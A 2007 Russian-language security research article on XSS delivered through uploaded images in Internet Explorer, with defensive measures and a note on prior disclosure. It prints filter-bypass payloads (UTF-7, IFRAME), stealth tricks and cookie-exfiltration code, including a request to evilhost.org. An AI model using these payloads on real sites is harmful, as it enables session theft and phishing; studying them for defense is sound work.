25.02.2007

Обход фильтрации загружаемых изображений в ряде Web-приложений для осуществления XSS атак

Особенность отображения изображений не нова, и возможность осуществления атаки XSS через картинку была известна давно. Но поскольку в новой версии браузера Internet Explorer 7.0 данная особенность была проигнорирована, это дало повод подойти к данной проблеме снова.

Александр Штокман

аналитик по информационной безопасности компании

Digital Security

Email: Alex.Shtokman@dsec.ru

Введение

Как известно, загрузка изображений пользователем на web-сервер поддерживается огромным количеством сайтов – например, всевозможными CMS (Bitrix, runCMS, Mambo), форумами (PhpBB, vBulluten), почтовыми серверами (mail.ru, yandex.ru), блогами (livejournal.com, liveinternet.ru, myspace.com). Подобные сайты потенциально уязвимы к атаке XSS, связанной с особенностями обработки web-страниц (в том числе – изображений) в браузере Internet Explorer.Особенность отображения изображений не нова, и возможность осуществления атаки XSS через картинку была известна давно. Но поскольку в новой версии браузера Internet Explorer 7.0 данная особенность была проигнорирована, это дало повод подойти к данной проблеме снова. Можно, конечно не обращать на это внимание, аргументируя это недостатком клиентского приложения но, через ту же картинку есть возможность залить PHP-шелл, и использовать его при наличии уязвимости local PHP include, и в этом случае особенности браузера будут уже не при чём. Этот факт ещё раз подтверждает то, что фильтрация необходима в любом случае, если мы имеем дело с пользовательскими данными.

Описание

Итак, начнем с описания того, каким образом Internet Explorer обрабатывает графические файлы. Если при обработке графического файла встречаются символы, нехарактерные для обрабатываемого формата, то вызывается метод, который анализирует эти данные и сравнивает получившиеся сигнатуры с сигнатурами поддерживаемых форматов. Если находится подходящий формат, то браузер начинает обрабатывать файл в соответствии с этим форматом.

Поясним на примере. У нас есть изображение в формате PNG, состоящее из одной чёрной точки.

Рис. 1. Исходный графический файл в формате PNG

Естественно, что если мы откроем наше изображение в браузере, то увидим просто чёрную точку. Но если в конце файла с изображением дописать (в шестнадцатеричных кодах) хорошо известную строку:

<script>alert(‘Image XSS’)</script>

и снова открыть этот файл в Internet Explorer, то браузер, обработав изображение, обнаружит фрагмент данных, не являющийся частью изображения, обработает его как HTML, в результате чего наш скрипт выполнится в браузере.

Рис. 2. Измененный графический файл в формате PNG

Рис. 3. Получение cookies пользователя с mail.ru

Например, можно послать письмо пользователю сервера mail.ru с прикрепленным изображением. Если пользователь, получивший письмо, выберет просмотр изображения, то записанный в файл изображения скрипт выполнится и, к примеру, отправит cookie незадачливого пользователя на почтовый ящик нарушителя. На рисунке 4 представлен результат работы встроенного в изображение скрипта (на mail.ru), который просто выводит cookie пользователя на экран, тем самым демонстрируя возможность получения доступа к cookie жертвы.

Обход фильтров

Всё, что было написано до сих пор, на самом деле, не новость. На практике описанный метод часто не работает, так как разработчики в последнее время начали включать в web-приложения специальные фильтры для проверки содержимого графических файлов на наличие «инородных» данных и тем самым усложнили задачу нарушителя. Это вполне разумный ход, поскольку серверное приложение, заботящееся о своей безопасности обязано, проверять правильность любых пользовательских данных посылаемых на сервер, будь то GET, POST запросы, cookies, и тем более файлы с данными, в не зависимости от особенностей обработки этих данных клиентскими приложениями.

Посмотрим, можно ли каким-либо образом обойти фильтр. Основная проблема заключается в том, что не все существующие методы обхода фильтров работают для картинок. Например, XSS в тэге <META> не обрабатывается в принципе, хотя фильтрами пропускается. Наша задача – найти именно такой способ, который работал бы для изображения и обходил фильтры [2].

В ходе первичного исследования оказалось, что существует только три рабочих способа вызова скрипта:

  • <script>alert()</script>
  • <img src=javascript:alert()>
  • <table> <td background="javascript:alert('XSS')">

    И все они, к сожалению, не проходят фильтрацию. Фильтруются HTML-тэги, то есть, если в содержимом картинки встречаются строки “<script”, “<img”, “<table”, то картинка считается неправильной и загрузить её на сервер не удается.

    А что, если использовать другую кодировку, например, UTF-7? Это поможет нам обойти фильтры, так как в UTF-7 кодировке символы “<”, “>” заменяются на “+ADw-”, ”+AD4-”соответственно. Чтобы браузер воспринимал текст в кодировке UTF-7, необходимо выполнение одного из трёх условий:

  • Поле Content-Type из заголовка http-ответа сервера содержит информацию о кодировке страницы
  • Content-Type: text/html; charset=UTF-7
  • В содержимом страницы присутствует тег <META>, в котором указана кодировка страницы:
  • <meta http-equiv="Content-Type" content="text/html; charset="UTF-7">
  • Браузер пользователя настроен на автоматическое определение кодировки.
  • Нам подходит второй вариант, ведь, в отличие от обычных XSS, мы можем контролировать всю страницу, а именно, можем использовать тэг <META>. Итак, перепишем содержимое нашего изображения так, чтобы попробовать обойти фильтр (рис. 4), и проверим это на одной из самых популярных реализаций форумов – PHPbb.

    Рис.4. Графический файл с данными в кодировке UTF-7

    Как мы видим на рисунке 5, изображение загрузилось, обойдя фильтры.

    Рис.5. XSS в картинке (обход фильтров PHPbb)

    На самом деле, можно обойтись и без UTF-7. Для того, чтобы тот или иной скрипт сработал в картинке, необходимо, чтобы Internet Explorer распознал HTML-страницу в потоке анализируемых данных. Это можно сделать, например, используя тэги <html>, <head>, <body>, и после этого вставлять те или иные способы вызова скриптов. Например, следующий текст, вставленный после картинки, тоже проходит через фильтры:

    <html>
    <head>
    </head>
    <meta http-equiv="Content-Type" content="text/html">
    </head>
    <body>
    <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
    </body>
    </html>

    Тем не менее, использование UTF-7 дает нам большую незаметность для фильтров, так как тэг “<iframe” в любом другом web-приложении может фильтроваться. Учитывая описанное выше использование дополнительных кодировок и всевозможные дополнительные методы обхода фильтров, получается, что задача написания хорошего фильтра отнюдь не тривиальна.

    Скрытность

    Итак, у нас есть уже практически готовый эксплоит, который можно использовать, заменив alert() ссылкой на сенсор, получающий cookie пользователя. Но можно использовать и более красивое решение.

    Во-первых, нехорошо то, что на нашей страничке выводятся, как вы уже заметили, бинарные данные графического файла. Самый простой способ избавиться от этого – сделать текст цвета совпадающим с цветом фона, например:

    document.body.style.color="white";

    Теперь наш скрипт выглядит гораздо красивее.

    Рис. 6. XSS в картинке (скрываем лишнее)

    Во-вторых, надо понимать, что сконструированный XSS сработает в двух случаях: либо если пользователь кликнет на изображение (что маловероятно), либо мы дадим ему прямую ссылку на изображение, применив немного фантазии в области социальной инженерии. Основная мысль заключается в том, что мы стараемся сделать нашу атаку максимально незаметной для пользователя. Следовательно, если мы даём пользователю ссылку на картинку, то это должна быть картинка. Поэтому мы добавляем в наш скрипт настоящую картинку, точнее – ссылку на неё. Что использовать в качестве картинки, зависит от того, для кого она предназначена.

    Рис. 7. Маскировка с добавлением ссылки на картинку

    Итак, мы получили почти готовый эксплоит, только он не делает самого главного – не передает нарушителю cookies. Для этого можно воспользоваться стандартным способом – перенаправить пользователя на наш сенсор путём вставки, например, такого кода:

    img.src = "http://evilhost.org/sensor.php?"+document.cookie;

    Указанный вариант не является оптимальным, так как разглашается адрес web-сервера нарушителя и все его попытки скрыть атаку обречены на провал. Можно, конечно, перенаправлять пользователя обратно, но существует более элегантное решение.

    Наверняка, все слышали про технологию AJAX. У этой технологии есть отличное применение в деле получения несанкционированного доступа к cookies пользователей. Нет смысла в данной статье углубляться в тонкости AJAX, отметим только, что суть метода заключается в том, чтобы с помощью объекта XMLHttpRequestObject послать на сервер запрос с содержимым cookies пользователя. Единственная проблема заключается в том, что пересылка данных с помощью XMLHttpRequestObject на сторонний сервер вызывает у браузера кучу дополнительных вопросов, что нам совсем ни к чему.

    Предлагаемая идея заключается в том, что отсылать данные на сторонний сервер нам не обязательно, ведь мы в рассматриваемом примере используем уязвимости в форумах и CMS, которые имеют механизм отправки личных сообщений. Следовательно, мы можем с помощью нашего скрипта отослать себе личное сообщение от имени жертвы с содержимым его cookies. Вот стандартный AJAX-код, который отсылает данные на скрипт-сенсор:

    <script>
    var XMLHTTPRequestObject = false;
    XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");

    XMLHttpRequestObject.open('GET', 'http://www.site.com/privatemessage.php?
    ' + window.document.cookie, true);
    XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    XMLHttpRequestObject.send(null);
    delete XMLHttpRequestObject;
    </script>

    В данном примере выделена основная часть скрипта, отвечающая за отсылку данных. Для того, чтобы у нас получился полноценный эксплоит, необходимо заменить параметры метода XMLHttpRequestObject.open на те, которые используются в конкретном web-приложении. Получившийся код нужно добавить в нашу картинку, сконвертировав его предварительно в UTF-7. Итоговый код по понятным причинам не приводится, но тому, кто понял суть, дописать его не составит труда.

    Способы защиты

    Степень защиты всегда связана с удобством использования, так и в этом случае мы должны понимать, что досконально проверять все входные данные задача очень ресурсоёмкая. Но в случае, когда безопасность пользователей портала критична, необходимо её обеспечивать в не зависимости от того, что причиной является особенность браузера, ведь для конечного пользователя не важна причина уязвимости, его интересует лишь сам факт нарушения безопасности. Существует несколько вариантов, в той или иной степени уменьшающих вероятность реализации данной уязвимости.

    • Хранить картинки не в основном домене сайта (скажем, domain.com), а в другом, например, pics.domain.com. Этим мы избавимся от атак, направленных на кражу cookies, так как они привязываются к домену, но это не решит проблему в целом.
    • Сверять размер изображения с тем, который должен быть в заголовке графического файла. Это поможет в том случае, если скрипт дописывается в конец изображения, но не спасет тогда, когда мы встроим его в саму картинку и скорректируем размер.
    • Усовершенствовать фильтр Web-приложения , чтобы фильтровать все возможные тэги или хотя бы основные, по которым Internet Explorer определяет, что документ является HTML-страницей (это слова “html”, “head”, “body”). Данный способ даст практически 100% результат, но нужно учитывать, что чем сильнее фильтр, тем больше вероятность заблокировать легальную картинку.
    • Использовать элементарные операции над изображениями. Например, перед сохранением картинки растянуть её в 2 раза, а потом сжать. Это даст нам максимальную защиту, но в некоторых случаях может быть критично по отношению к качеству изображений.
    • Использовать комбинации тех или иных методов в зависимости от ситуации.

    Заключение

    В заключение хотелось бы вкратце описать преимущества и недостатки данного подвида XSS-атаки.

    Преимущества:

    • В отличие от Linked XSS, Image XSS не остаётся в логах web-сервера, и её невозможно фильтровать или обнаружить привычными средствами, такими как mod_security, PHP Hardening-Patch или Snort, так как в url не присутствует сигнатуры скрипта.
    • Ссылку на картинку потенциальная жертва нажмёт с большей вероятностью, чем на Linked XSS, где в строке URL присутствует множество непонятных символов.
    • Можно использовать для фишинга. Мы можем поместить в картинку целую HTML-страницу, которая подделывала бы, например, страницу авторизации какого-либо сайта.

    Недостатки:

    • Работает только в Internet Explorer.
    • Пользователь должен перейти по ссылке (или кликнуть на картинку). Для этого, аналогично Linked XSS, необходим элемент социальной инженерии.
    • Картинки могут храниться на другом сервере, тем самым исключая возможность получения несанкционированного доступа к cookies.

    Мы решили проверить несколько существующих сайтов на наличие данной уязвимости. Были выбраны следующие сайты: securitylab.ru, google.com, mail.ru, xakep.ru, livejournal.com. Четыре из приведенных пяти сайтов оказались уязвимыми, не поддался только Google.com. Администраторы данных ресурсов были предупреждены заранее, до публикации статьи.

    Ссылки:

    [1] RFC UTF-7
    http://www.faqs.org/rfcs/rfc2152.html

    [2] XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion
    http://ha.ckers.org/xss.html

    [3] XSS in Image Format
    http://milw0rm.com/video/watch.php?id=58